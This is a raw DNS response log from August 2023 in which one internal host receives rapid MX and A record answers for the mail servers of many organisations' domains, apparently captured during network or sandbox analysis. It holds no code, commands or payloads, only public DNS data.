Aug 24, 2023 19:03:49.505738020 CEST	8.8.8.8	192.168.2.8	0xb44c	No error (0)	live-com.olc.protection.outlook.com		104.47.13.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.505738020 CEST	8.8.8.8	192.168.2.8	0xb44c	No error (0)	live-com.olc.protection.outlook.com		104.47.14.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.505916119 CEST	8.8.8.8	192.168.2.8	0x3a19	No error (0)	kingmasonryyard.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.505916119 CEST	8.8.8.8	192.168.2.8	0x3a19	No error (0)	kingmasonryyard.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.524972916 CEST	8.8.8.8	192.168.2.8	0xdb0c	No error (0)	pixelball.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.524972916 CEST	8.8.8.8	192.168.2.8	0xdb0c	No error (0)	pixelball.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.524972916 CEST	8.8.8.8	192.168.2.8	0xdb0c	No error (0)	pixelball.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.524972916 CEST	8.8.8.8	192.168.2.8	0xdb0c	No error (0)	pixelball.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.524972916 CEST	8.8.8.8	192.168.2.8	0xdb0c	No error (0)	pixelball.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.530013084 CEST	8.8.8.8	192.168.2.8	0xdd8c	No error (0)	vpd.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.530013084 CEST	8.8.8.8	192.168.2.8	0xdd8c	No error (0)	vpd.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.533951044 CEST	8.8.8.8	192.168.2.8	0xe980	No error (0)	rangeweb-net.mx.av-mx.com		150.136.204.204	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.636713028 CEST	8.8.8.8	192.168.2.8	0xf33c	No error (0)	edgesrv02.rebelnetworks.com		38.64.153.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.745799065 CEST	8.8.8.8	192.168.2.8	0xefd5	No error (0)	incognito.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.745799065 CEST	8.8.8.8	192.168.2.8	0xefd5	No error (0)	incognito.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.769525051 CEST	8.8.8.8	192.168.2.8	0xae7b	No error (0)	acadiau.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.823677063 CEST	8.8.8.8	192.168.2.8	0x9ecb	No error (0)	agent1.vpd.ca		207.236.201.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.836452961 CEST	8.8.8.8	192.168.2.8	0xee75	No error (0)	ibm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.836452961 CEST	8.8.8.8	192.168.2.8	0xee75	No error (0)	ibm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.857327938 CEST	8.8.8.8	192.168.2.8	0x8d0f	No error (0)	mx0b-001b2d01.pphosted.com		148.163.158.5	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.877943039 CEST	8.8.8.8	192.168.2.8	0xfc65	No error (0)	mxa-00820f01.gslb.pphosted.com		67.231.150.187	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.040205956 CEST	8.8.8.8	192.168.2.8	0x90a0	No error (0)	nacsworld.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.160758972 CEST	8.8.8.8	192.168.2.8	0x2bf0	No error (0)	mailgateway.acadiau.ca		131.162.224.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.189698935 CEST	8.8.8.8	192.168.2.8	0xe475	No error (0)	sfu.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.189698935 CEST	8.8.8.8	192.168.2.8	0xe475	No error (0)	sfu.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.189698935 CEST	8.8.8.8	192.168.2.8	0xe475	No error (0)	sfu.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.189698935 CEST	8.8.8.8	192.168.2.8	0xe475	No error (0)	sfu.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.198404074 CEST	8.8.8.8	192.168.2.8	0x41c3	No error (0)	mail.nacsworld.com		24.137.218.25	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.381181002 CEST	8.8.8.8	192.168.2.8	0x6f5c	No error (0)	proofpoint5.sfu.ca		142.58.200.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.381200075 CEST	8.8.8.8	192.168.2.8	0xf6d7	No error (0)	greatwestlife.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.381200075 CEST	8.8.8.8	192.168.2.8	0xf6d7	No error (0)	greatwestlife.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.493196011 CEST	8.8.8.8	192.168.2.8	0x6927	No error (0)	citlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.493196011 CEST	8.8.8.8	192.168.2.8	0x6927	No error (0)	citlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.493196011 CEST	8.8.8.8	192.168.2.8	0x6927	No error (0)	citlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.493196011 CEST	8.8.8.8	192.168.2.8	0x6927	No error (0)	citlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.493196011 CEST	8.8.8.8	192.168.2.8	0x6927	No error (0)	citlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.496604919 CEST	8.8.8.8	192.168.2.8	0xbb01	No error (0)	mckinsey.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.496604919 CEST	8.8.8.8	192.168.2.8	0xbb01	No error (0)	mckinsey.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.522209883 CEST	8.8.8.8	192.168.2.8	0x1e65	No error (0)	mxa-00182f01.gslb.pphosted.com		67.231.151.196	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.627403021 CEST	8.8.8.8	192.168.2.8	0x7a80	No error (0)	mxa-00134603.gslb.pphosted.com		67.231.157.208	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.628365993 CEST	8.8.8.8	192.168.2.8	0xb103	No error (0)	darefoods.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.628365993 CEST	8.8.8.8	192.168.2.8	0xb103	No error (0)	darefoods.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.662626028 CEST	8.8.8.8	192.168.2.8	0x808c	No error (0)	pusan.ac.kr			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.667717934 CEST	8.8.8.8	192.168.2.8	0x4527	No error (0)	d403986.b.ess.ca.barracudanetworks.com		15.222.16.209	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.667717934 CEST	8.8.8.8	192.168.2.8	0x4527	No error (0)	d403986.b.ess.ca.barracudanetworks.com		15.222.16.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.667717934 CEST	8.8.8.8	192.168.2.8	0x4527	No error (0)	d403986.b.ess.ca.barracudanetworks.com		15.222.16.210	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.708306074 CEST	8.8.8.8	192.168.2.8	0x2ba1	No error (0)	nait.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.716476917 CEST	8.8.8.8	192.168.2.8	0xe2b1	No error (0)	optimum.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.756035089 CEST	8.8.8.8	192.168.2.8	0x66f7	No error (0)	nait-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.756035089 CEST	8.8.8.8	192.168.2.8	0x66f7	No error (0)	nait-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.788340092 CEST	8.8.8.8	192.168.2.8	0x4ce1	No error (0)	live.com.ar			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.886667013 CEST	8.8.8.8	192.168.2.8	0xf2de	No error (0)	amenzone.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:03:50.886667013 CEST	8.8.8.8	192.168.2.8	0xf2de	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:03:50.925066948 CEST	8.8.8.8	192.168.2.8	0x3d03	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:03:50.925066948 CEST	8.8.8.8	192.168.2.8	0x3d03	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.925066948 CEST	8.8.8.8	192.168.2.8	0x3d03	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.957559109 CEST	8.8.8.8	192.168.2.8	0x1248	No error (0)	gmx02.mailplug.com		211.248.98.39	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.153525114 CEST	8.8.8.8	192.168.2.8	0xe561	No error (0)	mcgill.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.156706095 CEST	8.8.8.8	192.168.2.8	0xf9f8	No error (0)	wavecom.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.191359043 CEST	8.8.8.8	192.168.2.8	0x8bd7	No error (0)	mcgill-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.191359043 CEST	8.8.8.8	192.168.2.8	0x8bd7	No error (0)	mcgill-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.226870060 CEST	8.8.8.8	192.168.2.8	0x8ad5	No error (0)	balloonguru.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.226870060 CEST	8.8.8.8	192.168.2.8	0x8ad5	No error (0)	balloonguru.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.226870060 CEST	8.8.8.8	192.168.2.8	0x8ad5	No error (0)	balloonguru.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.226870060 CEST	8.8.8.8	192.168.2.8	0x8ad5	No error (0)	balloonguru.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.226870060 CEST	8.8.8.8	192.168.2.8	0x8ad5	No error (0)	balloonguru.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.261044979 CEST	8.8.8.8	192.168.2.8	0xe3f0	No error (0)	cppib.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.261044979 CEST	8.8.8.8	192.168.2.8	0xe3f0	No error (0)	cppib.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.324378014 CEST	8.8.8.8	192.168.2.8	0x2980	No error (0)	mx.vcn.com		209.193.72.53	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.342559099 CEST	8.8.8.8	192.168.2.8	0x574d	No error (0)	shopify.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.342559099 CEST	8.8.8.8	192.168.2.8	0x574d	No error (0)	shopify.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.342559099 CEST	8.8.8.8	192.168.2.8	0x574d	No error (0)	shopify.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.342559099 CEST	8.8.8.8	192.168.2.8	0x574d	No error (0)	shopify.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.342559099 CEST	8.8.8.8	192.168.2.8	0x574d	No error (0)	shopify.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.366529942 CEST	8.8.8.8	192.168.2.8	0x4dd	No error (0)	chinagrandsun.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.366529942 CEST	8.8.8.8	192.168.2.8	0x4dd	No error (0)	chinagrandsun.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.439440966 CEST	8.8.8.8	192.168.2.8	0xce5c	No error (0)	mxa-00118e03.gslb.pphosted.com		67.231.150.28	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.496983051 CEST	8.8.8.8	192.168.2.8	0x5f46	No error (0)	loblaws.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.496983051 CEST	8.8.8.8	192.168.2.8	0x5f46	No error (0)	loblaws.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.626715899 CEST	8.8.8.8	192.168.2.8	0xa3e5	No error (0)	mxw.263.net		128.1.42.104	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.626715899 CEST	8.8.8.8	192.168.2.8	0xa3e5	No error (0)	mxw.263.net		107.150.117.76	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.626715899 CEST	8.8.8.8	192.168.2.8	0xa3e5	No error (0)	mxw.263.net		128.14.224.70	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.635015965 CEST	8.8.8.8	192.168.2.8	0x6550	No error (0)	mxa-00217d01.gslb.pphosted.com		67.231.151.50	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.651245117 CEST	8.8.8.8	192.168.2.8	0x36a9	No error (0)	fontaine-beauvois.be			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.651245117 CEST	8.8.8.8	192.168.2.8	0x36a9	No error (0)	fontaine-beauvois.be			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.687865019 CEST	8.8.8.8	192.168.2.8	0x5fd8	No error (0)	smtp.mailcleaner.net		195.176.194.32	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.687865019 CEST	8.8.8.8	192.168.2.8	0x5fd8	No error (0)	smtp.mailcleaner.net		195.176.194.121	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.687865019 CEST	8.8.8.8	192.168.2.8	0x5fd8	No error (0)	smtp.mailcleaner.net		193.246.63.102	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.790744066 CEST	8.8.8.8	192.168.2.8	0xafdb	No error (0)	emory.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.790744066 CEST	8.8.8.8	192.168.2.8	0xafdb	No error (0)	emory.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.827137947 CEST	8.8.8.8	192.168.2.8	0x4cf	No error (0)	emory-edu.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.827137947 CEST	8.8.8.8	192.168.2.8	0x4cf	No error (0)	emory-edu.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.827137947 CEST	8.8.8.8	192.168.2.8	0x4cf	No error (0)	emory-edu.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.827137947 CEST	8.8.8.8	192.168.2.8	0x4cf	No error (0)	emory-edu.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.827137947 CEST	8.8.8.8	192.168.2.8	0x4cf	No error (0)	emory-edu.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.827137947 CEST	8.8.8.8	192.168.2.8	0x4cf	No error (0)	emory-edu.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.827137947 CEST	8.8.8.8	192.168.2.8	0x4cf	No error (0)	emory-edu.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.827137947 CEST	8.8.8.8	192.168.2.8	0x4cf	No error (0)	emory-edu.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.879144907 CEST	8.8.8.8	192.168.2.8	0x6262	No error (0)	mindspring.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.879144907 CEST	8.8.8.8	192.168.2.8	0x6262	No error (0)	mindspring.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.879144907 CEST	8.8.8.8	192.168.2.8	0x6262	No error (0)	mindspring.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.879144907 CEST	8.8.8.8	192.168.2.8	0x6262	No error (0)	mindspring.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.042814970 CEST	8.8.8.8	192.168.2.8	0xcf33	No error (0)	mx.lb.btinternet.com		213.120.69.5	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.070743084 CEST	8.8.8.8	192.168.2.8	0x6a35	No error (0)	newellsdelivery.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.070743084 CEST	8.8.8.8	192.168.2.8	0x6a35	No error (0)	newellsdelivery.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.100897074 CEST	8.8.8.8	192.168.2.8	0xa32f	No error (0)	mx1.forwardemail.net		138.197.213.185	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.106328964 CEST	8.8.8.8	192.168.2.8	0x1efe	No error (0)	blackburn-int.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.131594896 CEST	8.8.8.8	192.168.2.8	0x6359	No error (0)	ymcagta.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.131594896 CEST	8.8.8.8	192.168.2.8	0x6359	No error (0)	ymcagta.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.154160023 CEST	8.8.8.8	192.168.2.8	0xe581	No error (0)	blackburnint-com02c.mail.protection.outlook.com		104.47.55.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.154160023 CEST	8.8.8.8	192.168.2.8	0xe581	No error (0)	blackburnint-com02c.mail.protection.outlook.com		104.47.58.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.154661894 CEST	8.8.8.8	192.168.2.8	0x4103	No error (0)	d35166b.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.154661894 CEST	8.8.8.8	192.168.2.8	0x4103	No error (0)	d35166b.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.154661894 CEST	8.8.8.8	192.168.2.8	0x4103	No error (0)	d35166b.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.172230005 CEST	8.8.8.8	192.168.2.8	0xaa40	No error (0)	ogonzalez.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.172230005 CEST	8.8.8.8	192.168.2.8	0xaa40	No error (0)	ogonzalez.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.172230005 CEST	8.8.8.8	192.168.2.8	0xaa40	No error (0)	ogonzalez.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.172230005 CEST	8.8.8.8	192.168.2.8	0xaa40	No error (0)	ogonzalez.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.172230005 CEST	8.8.8.8	192.168.2.8	0xaa40	No error (0)	ogonzalez.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.334681988 CEST	8.8.8.8	192.168.2.8	0xa75c	No error (0)	voestalpine.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.334681988 CEST	8.8.8.8	192.168.2.8	0xa75c	No error (0)	voestalpine.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.359132051 CEST	8.8.8.8	192.168.2.8	0x336a	No error (0)	de-smtp-inbound-1.mimecast.com		194.104.110.22	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.359132051 CEST	8.8.8.8	192.168.2.8	0x336a	No error (0)	de-smtp-inbound-1.mimecast.com		51.163.159.22	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.423269987 CEST	8.8.8.8	192.168.2.8	0x9780	No error (0)	utoronto-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.423269987 CEST	8.8.8.8	192.168.2.8	0x9780	No error (0)	utoronto-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.428106070 CEST	8.8.8.8	192.168.2.8	0x7481	No error (0)	lnf.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.464047909 CEST	8.8.8.8	192.168.2.8	0xd20e	No error (0)	lnf-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.464047909 CEST	8.8.8.8	192.168.2.8	0xd20e	No error (0)	lnf-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.502098083 CEST	8.8.8.8	192.168.2.8	0x711e	No error (0)	audioshop.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.502098083 CEST	8.8.8.8	192.168.2.8	0x711e	No error (0)	audioshop.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.502098083 CEST	8.8.8.8	192.168.2.8	0x711e	No error (0)	audioshop.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.502098083 CEST	8.8.8.8	192.168.2.8	0x711e	No error (0)	audioshop.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.502098083 CEST	8.8.8.8	192.168.2.8	0x711e	No error (0)	audioshop.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.536441088 CEST	8.8.8.8	192.168.2.8	0xe334	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.664714098 CEST	8.8.8.8	192.168.2.8	0x1bae	No error (0)	northrock.bm			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.664714098 CEST	8.8.8.8	192.168.2.8	0x1bae	No error (0)	northrock.bm			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.676971912 CEST	8.8.8.8	192.168.2.8	0x2796	No error (0)	capita.co.uk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.676971912 CEST	8.8.8.8	192.168.2.8	0x2796	No error (0)	capita.co.uk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.676971912 CEST	8.8.8.8	192.168.2.8	0x2796	No error (0)	capita.co.uk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.698195934 CEST	8.8.8.8	192.168.2.8	0xd087	No error (0)	pathcom.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.717320919 CEST	8.8.8.8	192.168.2.8	0xdf4a	No error (0)	cluster-a.mailcontrol.com		85.115.52.190	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.842511892 CEST	8.8.8.8	192.168.2.8	0xac30	No error (0)	mastfamily.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.842511892 CEST	8.8.8.8	192.168.2.8	0xac30	No error (0)	mastfamily.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.842511892 CEST	8.8.8.8	192.168.2.8	0xac30	No error (0)	mastfamily.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.842511892 CEST	8.8.8.8	192.168.2.8	0xac30	No error (0)	mastfamily.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.842511892 CEST	8.8.8.8	192.168.2.8	0xac30	No error (0)	mastfamily.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.844764948 CEST	8.8.8.8	192.168.2.8	0x6df4	No error (0)	mbll.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.853018045 CEST	8.8.8.8	192.168.2.8	0x920f	No error (0)	mx02.pathcom.com		209.250.128.50	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.864300013 CEST	8.8.8.8	192.168.2.8	0x51a	No error (0)	mx2.myone.bm	mx2.emailsrvr.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:03:52.864300013 CEST	8.8.8.8	192.168.2.8	0x51a	No error (0)	mx2.emailsrvr.com		184.106.54.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.890513897 CEST	8.8.8.8	192.168.2.8	0x1716	No error (0)	mbll-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.890513897 CEST	8.8.8.8	192.168.2.8	0x1716	No error (0)	mbll-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.966638088 CEST	8.8.8.8	192.168.2.8	0xfba5	No error (0)	shawcable.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.966638088 CEST	8.8.8.8	192.168.2.8	0xfba5	No error (0)	shawcable.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.966638088 CEST	8.8.8.8	192.168.2.8	0xfba5	No error (0)	shawcable.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.123506069 CEST	8.8.8.8	192.168.2.8	0x768	No error (0)	mx2c11.megamailservers.com		69.49.101.235	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:53.491389990 CEST	8.8.8.8	192.168.2.8	0x74d1	No error (0)	telus.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.491389990 CEST	8.8.8.8	192.168.2.8	0x74d1	No error (0)	telus.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.491389990 CEST	8.8.8.8	192.168.2.8	0x74d1	No error (0)	telus.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.491389990 CEST	8.8.8.8	192.168.2.8	0x74d1	No error (0)	telus.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.547447920 CEST	8.8.8.8	192.168.2.8	0x7a74	No error (0)	ocdsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.547447920 CEST	8.8.8.8	192.168.2.8	0x7a74	No error (0)	ocdsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.547447920 CEST	8.8.8.8	192.168.2.8	0x7a74	No error (0)	ocdsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.547447920 CEST	8.8.8.8	192.168.2.8	0x7a74	No error (0)	ocdsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.547447920 CEST	8.8.8.8	192.168.2.8	0x7a74	No error (0)	ocdsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.608432055 CEST	8.8.8.8	192.168.2.8	0xceea	No error (0)	seagate.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.608432055 CEST	8.8.8.8	192.168.2.8	0xceea	No error (0)	seagate.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.643302917 CEST	8.8.8.8	192.168.2.8	0x66ee	No error (0)	mx1.hc4959-67.iphmx.com		216.71.153.91	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:53.643302917 CEST	8.8.8.8	192.168.2.8	0x66ee	No error (0)	mx1.hc4959-67.iphmx.com		139.138.35.119	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:53.669795036 CEST	8.8.8.8	192.168.2.8	0x44aa	No error (0)	bliksem.nssi.telus.com		204.174.64.46	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:53.879329920 CEST	8.8.8.8	192.168.2.8	0xb910	No error (0)	centurytel.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.002455950 CEST	8.8.8.8	192.168.2.8	0x48a1	No error (0)	sunlife.com			MX (Mail exchange)	IN (0x0001)	false
